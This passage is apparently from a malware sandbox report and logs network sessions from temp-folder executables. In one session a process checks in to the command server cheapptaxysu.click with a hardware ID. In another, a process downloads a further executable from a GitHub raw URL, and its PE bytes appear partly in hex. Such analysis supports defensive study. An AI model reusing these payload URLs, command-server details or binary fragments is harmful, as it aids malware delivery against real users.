2024-12-20 08:12:43 UTC	15331	OUT	Data Raw: 9f e0 25 78 c8 8b db 6b e2 98 2a fd 98 85 e0 da 7f db 16 bb 02 2a b9 36 eb 51 2f 2d 02 25 c7 e2 2e 83 ab a3 89 a8 56 d2 c5 d3 93 59 1a 78 68 2e 66 dc 3a b7 2e 82 e7 12 96 c2 d6 ba 40 37 87 90 f0 8c e4 c7 57 e2 7d 91 54 03 04 d6 48 c5 af 5b 86 cc af 2e eb 16 8c 21 25 10 a1 da cf 27 40 0c f7 74 41 26 e9 3c 8c 7c be 0b 07 bb 3c aa 07 cc 54 7c 64 79 bb c9 41 d2 39 c0 7e 3f 5b 9c b5 04 52 db 28 15 6b 81 b3 e0 34 98 72 57 14 03 9a 57 4c a9 3b 60 63 50 2b b3 72 e0 81 f2 dd cd 01 5d 0c 11 55 a1 26 e3 9e d7 8b 30 d9 94 31 d6 ad b2 b3 40 fe 0f 0a 98 93 36 ad 69 23 05 ed bb 8e f0 a0 cd 41 09 95 10 6d c2 d0 1c 07 0c e3 e1 16 24 b0 7c 04 77 89 82 dd 65 cb c2 f4 76 e3 5e 71 50 b6 79 7b 6f 00 0a 68 b0 9f 68 22 2a 0b b5 8a 08 d1 73 3a 25 19 50 df c1 f1 62 55 70 9a e1 fe Data Ascii: %xk*6Q/-%.VYxh.f:.@7W}TH[.!%'@tA&<\|<T\|dyA9~?[R(k4rWWL;`cP+r]U&01@6i#Am$\|wev^qPy{ohh"s:%PbUp
2024-12-20 08:12:43 UTC	15331	OUT	Data Raw: 12 b0 31 7a 5b 46 eb bf 8e f6 36 e0 bf 4d 79 a7 f9 11 77 fc 98 6c d1 a1 b7 d2 c0 37 bd da 12 b6 24 b5 1e 10 e4 78 21 0a 7e 2e 8e 96 83 aa 35 7a 9b 25 15 b7 33 bd 69 b1 45 16 7e 34 e1 02 53 da b0 4d 11 dc 41 49 70 68 ee 21 20 dd 9c 9a b6 7b fa d6 e5 ba e3 8a 32 e5 8d ba 1a a0 9b 27 08 bf f3 18 3d 8d a6 bf dd 18 b5 cc ed ef 1d e3 ff 6e 0b 7d 51 27 5c e7 0c 91 19 59 01 fc f7 cc 0d fb 91 a4 45 7e be 8f 30 7d de 3a 7c 4f c1 10 f7 2f 1c ef b8 2e 60 c7 28 23 7e 42 7c aa 57 90 6d 0b d8 df 65 89 40 a3 23 77 0f 89 9f 71 98 2b cd ea 52 43 d5 50 5a a0 3e 79 70 e8 23 2e e9 a0 97 a1 76 8f 62 9f 63 d9 8e d0 33 b2 a4 be 09 5c 7a 9d 6e e7 57 ce 50 f9 c1 48 a4 e5 18 a6 ea 01 e9 39 eb a7 d5 95 06 d2 34 2e 7f bb c6 f0 08 92 49 a2 b0 c2 3d 10 da 4d 54 08 45 44 81 13 83 62 b7 Data Ascii: 1z[F6Mywl7$x!~.5z%3iE~4SMAIph! {2'=n}Q'\YE~0}:\|O/.`(#~B\|Wme@#wq+RCPZ>yp#.vbc3\znWPH94.I=MTEDb
2024-12-20 08:12:43 UTC	15331	OUT	Data Raw: ef c3 fd 0d 85 5f a0 e8 c6 aa 91 50 b7 94 e3 2d 7a 86 c1 4c fa 4c 1d 94 82 54 66 98 2b 2e b5 5f d0 d3 57 51 54 b9 af fc 0c 69 83 ec 33 18 8e 91 d1 ed 3f 11 46 af 75 7d 64 b6 93 41 14 00 e5 a5 e3 e5 e5 06 5e 71 00 1f bc a0 5d 1f 2e ed e8 c7 99 ca b8 0c 08 fd 7e c1 e9 6e c6 9f 75 db eb da 8d 8a d7 33 54 b8 32 e7 48 fa 5b f6 96 8b 5a 57 69 dc e0 0f c1 a2 5b ad 5c be 73 6c ed 98 39 24 25 b3 52 65 d3 9e 9d 3e 69 eb 7d 15 e8 d3 d2 8f 66 b4 86 e6 d3 d4 b9 09 c1 bb d2 a7 6c e0 38 f8 6f 4a ff b7 9e c1 9b 86 80 50 00 f5 e0 25 8d 6d 38 c2 c1 ce df d6 c6 3f d0 b3 83 36 5e 17 04 6d 8d 9d e4 54 31 0f ee 20 1f cb ef 62 73 7a 8d 05 62 94 32 07 df cb 01 ad 23 b4 eb 9f d3 72 15 5b 6e 07 68 3f 0e ff 7c c7 f8 96 16 98 2e 89 6a 40 54 7a 9f 38 12 84 89 b2 16 00 b7 50 68 de a5 Data Ascii: _P-zLLTf+._WQTi3?Fu}dA^q].~nu3T2H[ZWi[\sl9$%Re>i}fl8oJP%m8?6^mT1 bszb2#r[nh?\|.j@Tz8Ph
2024-12-20 08:12:43 UTC	15331	OUT	Data Raw: da d3 72 28 49 07 63 7b e6 c0 0d 9b 31 44 a7 bb a6 0a 1d 87 92 61 9d 5b 4b 46 c0 17 56 b3 00 7e de 52 81 a6 aa 8b 80 d8 67 7d 01 4f 45 94 ba 54 20 34 f6 bc 63 d5 cb e2 0e 1b c2 f5 2d c4 3d 07 b9 63 be a0 5e 9d d1 b7 10 b3 1e 06 d3 e0 d0 0b 8b e1 2a 7d f0 61 d9 96 09 2a 15 3b eb 4f 43 85 e1 20 49 d4 f9 d5 4a 9d 23 61 32 5b a3 81 65 03 dc 1a dd 91 44 42 47 1b e2 52 6f a1 1f df 45 21 90 d4 66 d2 78 7b dd d8 a9 29 30 55 66 4f 31 ca ec 9e 85 f0 86 c4 ea 5e e9 77 05 44 2f 51 61 2d ab be b0 a8 b0 49 dc 3b f3 36 cc 11 37 ad 2b 98 f3 50 ec e2 15 97 08 63 5e 95 7e 37 4b 2f d3 d1 5c 82 3f b7 1f 46 78 4c 27 c7 33 ba eb 37 6b f7 4e f0 1c bb 62 2a 8c 0a a5 ae cf 0c d1 77 c3 4a b3 bc 3a a5 d8 b2 f4 69 37 ed 0c 80 a3 c2 cc d6 bc e1 eb 7a 13 d9 01 f1 9b 56 ba ed d9 0c 29 Data Ascii: r(Ic{1Da[KFV~Rg}OET 4c-=c^}a;OC IJ#a2[eDBGRoE!fx{)0UfO1^wD/Qa-I;67+Pc^~7K/\?FxL'37kNb*wJ:i7zV)
2024-12-20 08:12:43 UTC	15331	OUT	Data Raw: 3b 0d 9b ce 82 ec c6 5a eb df f5 6e 4c 11 96 ca 56 fe df 85 8e d7 bb be 91 a8 f5 57 73 eb ed f9 80 8e 68 c1 37 c6 cb 83 23 72 e0 9d 8c 1e 12 3c ed 13 4d 37 0f f9 b1 dd b2 3f d9 e4 ea d6 8f 67 c2 1a e0 e4 ba 9d 3a ff 67 80 e3 6a 25 2c 11 57 c8 0b 74 d6 6e 7b dd ba eb 7c 94 fa 03 89 f6 ab bd f5 2e 49 0e fc 96 3b a5 8b 7b 5e 27 0e e1 b8 2a 01 55 d2 37 3f aa 24 bc c5 10 6d 6b 50 d8 41 e5 dd e8 63 7b 8d 60 47 48 b6 0a 1c ae bf 9e 16 e6 a6 d2 b8 db 84 f7 f4 e8 bb 4e 7c 5e d4 50 cc fc 55 b3 b4 0e f1 5b 44 a1 cf 0e d4 ae e4 d0 81 3b 72 1b f6 d7 d6 3e 8a e0 b9 2f e8 a2 34 8c e1 21 41 25 c5 04 cb 6c c1 d7 47 b5 3e 45 bf d9 64 1f 29 f6 80 b2 9d bc d4 a5 bd a8 14 17 ec dc 78 b1 f0 5d e7 e6 48 5e 16 86 e3 66 26 3d 8d 81 70 73 ae cd d8 f1 b5 b7 35 d1 47 b0 fa ad dc 4e Data Ascii: ;ZnLVWsh7#r<M7?g:gj%,Wtn{\|.I;{^'*U7?$mkPAc{`GHN\|^PU[D;r>/4!A%lG>Ed)x]H^f&=ps5GN
2024-12-20 08:12:45 UTC	1139	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 08:12:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mve70g6osokai9j80p6g6bjij9; expires=Tue, 15 Apr 2025 01:59:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vXXIEZv%2BFmbomi4lY84Ts0w%2FMI3w6UaXwSny4cVF2LYqkfRwTefjvDrYhnrNsahzTbD9YOBrjGFWEEvxLxN60FQqDOFiwpuydDanFC%2FyfWKM%2F1Ia5%2Bv3KKA3tkPgug0ymaJmePA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4e2b41cc1943fa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1724&min_rtt=1714&rtt_var=662&sent=356&recv=590&lost=0&retrans=0&sent_bytes=2843&recv_bytes=570873&delivery_rate=1627647&cwnd=149&unsent_bytes=0&cid=ce5276b1503edcc0&ts=2573&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49867	104.21.67.146	443	7612	C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 08:12:46 UTC	355	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=CWXic6xsKD_WpPFgUgW9zZc0LibP0bnvky5IXH2aK1c-1734682347-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 77 Host: cheapptaxysu.click
2024-12-20 08:12:46 UTC	77	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 43 5a 4a 76 73 73 2d 2d 26 6a 3d 26 68 77 69 64 3d 42 43 35 39 30 36 39 39 36 43 43 38 31 43 44 34 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=CZJvss--&j=&hwid=BC5906996CC81CD4AC8923850305D13E
2024-12-20 08:12:47 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 08:12:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l6ed1ghfc4tc6017mm2kiphaq8; expires=Tue, 15 Apr 2025 01:59:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1H7wPaxc9Xuj4Dq5MvzIGWpWLZfhWooO9JAshob2IB9EbpcF9xLSPXKicesuE2O2ekWZBDXrY4OlE%2BD5%2BQ7XrDFWsbH0zqYWOBQNqKVD%2BOboew2r9%2BOHWbU9a5Zt%2BCxPoRaX5nE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4e2b5b2efb80df-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1499&min_rtt=1495&rtt_var=570&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1068&delivery_rate=1906005&cwnd=215&unsent_bytes=0&cid=762690d0fa929981&ts=1049&x=0"
2024-12-20 08:12:47 UTC	54	IN	Data Raw: 33 30 0d 0a 51 72 43 4f 46 68 6a 77 74 2f 6e 74 42 4f 54 75 5a 70 73 38 36 70 6d 79 66 69 6e 41 43 39 68 4c 52 39 6c 47 47 48 6b 37 54 35 67 5a 37 51 3d 3d 0d 0a Data Ascii: 30QrCOFhjwt/ntBOTuZps86pmyfinAC9hLR9lGGHk7T5gZ7Q==
2024-12-20 08:12:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49880	20.233.83.145	443	2488	C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 08:12:52 UTC	117	OUT	GET /Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-12-20 08:12:53 UTC	568	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Fri, 20 Dec 2024 08:12:53 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-12-20 08:12:53 UTC	3378	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49889	185.199.110.133	443	2488	C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 08:12:54 UTC	128	OUT	GET /Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-20 08:12:55 UTC	902	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1275904 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "f6e395433fd455488d8d231a7e135bc540ae3f4d4024c956534b849ab403e860" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: AD4E:221829:24E24E:2956F4:67652706 Accept-Ranges: bytes Date: Fri, 20 Dec 2024 08:12:55 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740073-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734682375.044419,VS0,VE97 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 932a7dc7506dbc0abfd9a4475f6f99c782866dcc Expires: Fri, 20 Dec 2024 08:17:55 GMT Source-Age: 0
2024-12-20 08:12:55 UTC	1378	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 02 19 00 ec 03 00 00 ac 00 00 00 00 00 00 f7 78 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 3b 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 50 2d 00 14 02 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gx@;@ P-
2024-12-20 08:12:55 UTC	1378	IN	Data Raw: 0e 7f 54 d0 cc 87 8b 5f c6 42 59 ee 49 48 fd cb 31 5a 82 d1 c3 d1 61 9b 5e fd 57 db b5 b5 3e 51 67 3b 63 af 11 89 31 1a d4 8b 30 57 33 eb 43 43 55 52 38 e5 c0 b6 d6 b0 63 62 2f 79 94 1a 5e cd f2 ad bd e1 46 7c 66 5c 7a 31 d1 ec dd a3 d0 59 5a 9f 30 3a d4 e6 44 00 91 39 74 0d 99 51 63 9f cc 9c 97 3b f9 ac 97 9e a7 ca d2 eb 15 06 c6 ec 0b 1e 17 48 a8 63 4e c6 12 ba 90 93 2c 12 d4 60 e7 30 25 88 e3 c5 af 0b cf f9 9a cc b8 c5 01 11 0c 2d a2 23 67 22 ae fd 24 1e 22 09 af b9 11 d9 5a c1 d6 49 52 12 f8 5f 8f 3c ff 3b f7 2d 2c 05 47 96 1a 12 16 70 77 7a 70 f0 1a 01 69 13 c8 14 ab e9 86 13 f7 89 f8 82 34 08 51 9d 20 75 f4 ff 41 f5 60 19 d3 4b 0f 23 84 dd 8a 6c 32 8d 7b 77 55 43 8e a4 a1 bb 9a 1a 24 ae d3 81 76 6f 95 35 dc 6c 55 4a f1 81 d5 4d d9 84 ac 87 69 f4 e5 Data Ascii: T_BYIH1Za^W>Qg;c10W3CCUR8cb/y^F\|f\z1YZ0:D9tQc;HcN,`0%-#g"$"ZIR_<;-,Gpwzpi4Q uA`K#l2{wUC$vo5lUJMi
2024-12-20 08:12:55 UTC	1378	IN	Data Raw: 9d e9 c8 ac a2 4e 78 1f 42 08 1d dd 91 fb e3 c4 d3 53 70 95 d8 12 55 99 4d d4 5a 23 46 b1 1f 5a 91 5f a3 af 50 e5 26 cb 28 18 67 eb 6f 3e 0a 95 e8 c2 9d 99 43 e7 53 1b 05 00 3f 0a ba 73 e3 b7 09 81 eb 04 48 7e 49 67 aa 91 73 7f c7 31 36 f1 2b b3 03 b6 7f 5e db 8e a4 13 e3 ed 8d 45 99 30 89 56 fa 11 dd 91 37 75 73 5c fe 7d 7c 9b 89 d5 a5 70 e5 01 37 56 22 a0 b1 63 5e 42 af 07 ac de 33 9d 7a 20 8e 8d 06 6f c9 75 94 3c b4 5b 4a 6a a5 54 95 f6 18 af a0 5b 6a 58 3a d2 81 26 92 ee 17 7a 24 fe ee 41 22 31 80 ff df c8 a8 cb c5 9e e9 4f 60 4a 2b 75 e6 44 1b 86 ac 35 53 46 ce bd 29 49 5f 09 e4 89 17 b8 86 90 44 de 65 35 64 cb dc d3 85 46 40 49 55 96 da 32 4a e3 91 48 16 80 69 05 54 20 47 88 f4 e1 2e 1f ff 11 6d 87 93 62 b9 a2 12 95 ee 55 17 0a f8 2f 9a 2c 46 66 a0 Data Ascii: NxBSpUMZ#FZ_P&(go>CS?sH~Igs16+^E0V7us\}\|p7V"c^B3z ou<[JjT[jX:&z$A"1O`J+uD5SF)I_De5dF@IU2JHiT G.mbU/,Ff
2024-12-20 08:12:55 UTC	1378	IN	Data Raw: f1 78 84 3d 8c 25 5e d0 c4 01 d9 92 bb 7f bc 61 9a 73 82 68 6d f7 c4 36 2a 68 69 f9 9d fc 06 cd 2d 8e 9b 32 53 16 82 88 01 ee 97 fb 71 1d 50 af 95 ac 96 80 0b bb b2 76 df 70 11 73 bd 31 04 52 b6 bf 0e aa b1 b1 2c eb 54 2b 15 c6 45 a9 73 42 88 44 30 f1 3d 77 40 ce 07 c7 7f dc e9 98 8f 55 74 ca ca e5 17 e5 8e bf 5f 91 a4 3b ed d2 b8 50 05 f0 8a ac 75 80 ec 18 2a bc 87 b5 50 94 84 43 54 a1 65 f6 a2 34 b0 63 58 59 98 a8 d1 93 c3 c8 c1 87 9c 54 9b 46 dc 02 49 7a 1d 85 00 be d3 45 82 02 cc 71 e6 0c 91 2c d4 93 4a d3 54 9c ba 68 d8 48 74 f0 4c 08 98 03 7d 59 de 02 c1 1e d2 cf ca ad b0 7f 8f c3 dc bd c2 b9 93 9a ee 98 bc da ee 8c 05 61 d9 7e b7 ac ea bd f5 b2 ba 81 2a 96 5b d4 02 53 aa b5 e8 0e f5 31 a6 2d 26 36 c3 c3 2f 38 32 d9 46 34 4a da 7c a3 ad 41 7d 0e 29 Data Ascii: x=%^ashm6hi-2SqPvps1R,T+EsBD0=w@Ut_;PuPCTe4cXYTFIzEq,JThHtL}Ya~*[S1-&6/82F4J\|A})
2024-12-20 08:12:55 UTC	1378	IN	Data Raw: 7f 3c fb cf 9b ee e5 f5 61 04 ec 17 45 da 7a 22 fb 89 b1 6e a8 3c 39 03 48 4f a6 38 c9 32 32 a0 f3 de db f8 ac f9 60 db 2c de a3 b3 61 f0 7f db 6b 32 72 05 34 1b 2e da 3b fe 0a b0 3c 31 bf 0a 3e 0c 9d 8f be a0 b8 2d 8b e3 17 00 96 b5 14 c6 0b 31 e5 33 f3 e2 f4 b8 62 fc eb 87 6b bf 83 6a ea 82 2f 67 5c a0 3f dc 66 9b 8b 69 3b 42 0d 62 b6 06 8c 74 8d dc 29 30 7a 57 67 e2 38 c1 23 00 6e 42 48 ca da bb f5 c7 01 f4 19 03 69 65 6d e5 b0 ea ec 8e f1 7e 27 fe 5c ec 10 5a 69 9d 5c b5 ed 55 10 9a 3c df c4 3d fa 6e 15 73 ba 43 75 e8 cd 0b 2f 23 f3 26 c1 81 f4 6a 6c 33 fd b4 fc 44 9e 68 cb 8b b7 8b 38 f0 26 cc 60 6b 6c 13 a0 48 72 54 63 ff d0 69 80 78 e0 0a d8 62 bb 4d 5d 85 36 3c 9e 83 4f 77 56 60 6d a4 18 2c 70 5e 18 63 5c 10 2b a2 6c 51 4c 48 dc 09 7a 55 4f f1 08 Data Ascii: <aEz"n<9HO822`,ak2r4.;<1>-13bkj/g\?fi;Bbt)0zWg8#nBHiem~'\Zi\U<=nsCu/#&jl3Dh8&`klHrTcixbM]6<OwV`m,p^c\+lQLHzUO
2024-12-20 08:12:55 UTC	1378	IN	Data Raw: cd 3a 89 7c 61 f9 ad e9 47 47 81 23 fc 3a 2f b5 f0 4d 0b 8b 29 d0 2b 7f 92 b1 2f ff 4c 92 2e ac dd 43 f6 04 93 d5 ff 41 01 3b 9a b7 74 94 f0 2d f7 6f fe c9 1a 4a e2 72 10 49 be 79 64 1e 59 98 c5 73 c1 2a d2 fa ae 9a 87 53 c6 22 fe 8d 75 6a ab 48 e1 0b c7 82 2f 89 a7 52 6e 2e fb 11 41 32 56 e6 f7 04 a9 c2 7e a9 73 03 b5 5e 4c b5 79 b8 36 79 89 d0 e1 a9 f6 25 00 ee 74 88 51 73 0e b8 8a 09 dd bc 9f 34 a0 74 5a 0c 14 42 ca 33 44 ed b5 46 6e e8 2b e7 68 75 d2 d0 6a 06 80 61 d9 4c 48 d3 75 e6 7b ea 03 9c 56 b3 9a a2 fe 7e 5d c7 98 7c ba a6 70 30 fc 93 de 65 4c 0d 22 8d ae 53 69 de 64 a8 93 ee 6e 80 34 db 95 7f e2 f3 f8 6e b6 ca 18 0f 9b bd 92 b3 88 92 2f a1 09 99 e0 be 9a da 67 4a 12 e3 a6 80 3e bc 60 ae d1 a3 80 48 74 82 1e 7c 29 e8 86 3a 66 74 63 bf 32 84 b6 Data Ascii: :\|aGG#:/M)+/L.CA;t-oJrIydYs*S"ujH/Rn.A2V~s^Ly6y%tQs4tZB3DFn+hujaLHu{V~]\|p0eL"Sidn4n/gJ>`Ht\|):ftc2
2024-12-20 08:12:55 UTC	1378	IN	Data Raw: 2e 34 d2 36 c0 1c 87 05 5c 19 ce a7 bd 39 4e 7d 8b 06 42 78 48 49 6f d7 9e dc 3a 51 28 cf d3 b8 60 bb 66 7f 15 75 62 46 09 a7 b7 e2 4e f9 4c ce 36 6b 96 d8 1c 3d 12 ab 4f fa 4a 93 46 1d e0 e5 da 7b 7e ea 20 1a 24 16 a4 57 46 00 78 d6 d2 52 42 48 61 fb 11 84 e4 88 38 35 08 87 fe d7 21 d2 15 3b b1 d6 32 14 35 9b f5 24 fd 97 82 12 89 fb c8 42 80 ab c0 fe 57 3f b0 f7 05 cf c8 4c 9d 0d 28 61 a6 4a ff df 92 66 f3 77 e4 f4 ab b8 1a cc e3 84 f3 c5 e8 a6 23 97 5e 97 2e 49 f7 87 b2 1c e7 c3 6d 90 57 d5 93 b3 a0 57 ea 3b 13 7f a6 ac 57 86 84 70 7a 33 ee a4 49 61 6c c4 db 59 bf 8b 5d d3 90 df 70 fd 12 fb 6f ef 9c ec 2b 51 d9 e7 01 c0 d1 e4 bd b0 75 e7 7c 94 e3 8c 0f 18 6c 6a 23 dc 80 94 92 65 ab fb 9e 3e e6 dd 0f dc 18 39 0c 3b 45 ff 79 45 9c 77 a8 ef 64 09 40 9f a1 Data Ascii: .46\9N}BxHIo:Q(`fubFNL6k=OJF{~ $WFxRBHa85!;25$BW?L(aJfw#^.ImWW;Wpz3IalY]po+Qu\|lj#e>9;EyEwd@
2024-12-20 08:12:55 UTC	1378	IN	Data Raw: 6f 27 c8 2d a7 9d ad 5b 54 d5 1a 44 4a cf 01 57 bf fa c7 40 0f 62 46 a9 78 3b 53 2e c9 60 34 8b 54 3e c2 aa 4c 64 e8 0f 4d 01 52 ca 2e b9 4a 41 71 e9 1a 17 8b 36 85 2b 37 1c b2 47 c3 92 79 78 44 aa e4 73 45 c3 7a ec a7 e8 f7 97 f9 e5 71 06 ae 79 53 00 5a b4 d4 63 52 3c 66 0d 2b ba 47 e1 89 5a ea fe 50 67 3d 24 e0 25 c3 bf 2c 06 02 81 ba 53 b7 8c e7 69 41 5d 67 e5 27 5f ec 50 ae ad 59 7c 47 c4 d3 9c 51 f8 c1 d4 af f7 51 63 69 25 2f 55 56 a6 7f 1d 5e 56 09 83 c4 2a 95 b4 0c d0 59 9a b3 d2 54 43 c2 53 ce ca 88 f2 ab 02 49 f5 6a 13 ba 37 af 1a e5 a9 c6 63 09 86 3a e5 69 a5 da 02 b7 22 96 08 04 32 f5 0f b5 82 78 1a 6a f8 99 d4 fd 19 e7 d9 d9 7c a0 8f df f7 83 e0 1f 60 60 97 60 39 64 30 6a d4 64 cd b7 ed b6 a7 f9 39 b4 fe 6f c4 7e 33 ca a7 36 25 c0 31 bf 78 3c Data Ascii: o'-[TDJW@bFx;S.`4T>LdMR.JAq6+7GyxDsEzqySZcR<f+GZPg=$%,SiA]g'_PY\|GQQci%/UV^V*YTCSIj7c:i"2xj\|```9d0jd9o~36%1x<
2024-12-20 08:12:55 UTC	1378	IN	Data Raw: ba 49 69 e7 8f 7d d1 5f af da 49 9c 64 28 98 59 36 b3 a4 1d f8 cb 15 30 7b 25 96 6a 09 2c f9 20 89 72 a7 05 a6 ea 8d 9a 4d 6f 93 43 f8 1a 0b 86 c5 cd 49 b1 ae e6 66 89 2c 31 6d 66 65 ba b9 26 f7 bc e2 7e 04 08 8b 2a 14 e9 10 fd 4f e9 bc c6 a4 d3 a8 ff e7 d6 37 51 ca 11 be 2b c4 19 d5 58 47 e5 06 47 a6 80 1f cd 2c cd 1b 2f fe bf 7a e4 22 a8 58 99 b7 c2 f4 2a 61 f9 4b 1f 10 3a 80 ad c6 6c c2 ad 0a e8 42 64 3a 1d 96 d8 35 ce 0e d9 3d a7 34 55 40 23 4e ec 0a 67 8f e3 ae f1 06 2c 05 91 70 68 31 70 bc 85 3c c2 34 7e 0b 71 0b ef a9 16 2d 07 43 97 d6 3c d9 85 4d 50 fa be f0 ac b9 0b 8b 20 9b 22 09 1f cb 88 e8 11 b7 86 f0 e6 ed 30 8d 84 c5 b5 0c 33 84 45 94 ff 9e 5f 82 1d d6 2a c6 a7 07 43 f5 be f1 7d dc 32 9e 71 98 2a 5e aa e3 b3 e4 3c fe fd 1c ba 1b fe 1d c0 d9 Data Ascii: Ii}_Id(Y60{%j, rMoCIf,1mfe&~O7Q+XGG,/z"XaK:lBd:5=4U@#Ng,ph1p<4~q-C<MP "03E_C}2q^<
